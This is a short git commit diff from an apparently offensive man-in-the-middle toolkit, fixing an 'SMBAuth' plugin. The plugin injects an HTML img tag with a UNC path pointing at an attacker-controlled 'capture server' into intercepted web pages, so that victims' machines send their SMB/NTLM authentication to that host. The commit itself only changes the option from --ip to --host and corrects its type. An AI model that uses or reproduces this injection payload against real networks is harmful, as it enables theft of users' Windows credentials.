fixed smbauth plugin

This commit is contained in:
byt3bl33d3r 2014-07-18 20:42:12 +02:00
parent 58b319a931
commit e26bd0709c

View file

@ -8,11 +8,12 @@ class SMBAuth(Inject,Plugin):
def initialize(self,options):
Inject.initialize(self,options)
self.target_ip = options.ip
self.target_ip = options.host
self.html_payload = self._get_data()
print "[*] SMBAuth plugin online"
def add_options(self,options):
options.add_argument("--host", action="store_true", help="The ip address of your capture server")
options.add_argument("--host", type=str, help="The ip address of your capture server")
def _get_data(self):
return '<img src=\"\\\\%s\\image.jpg\">'\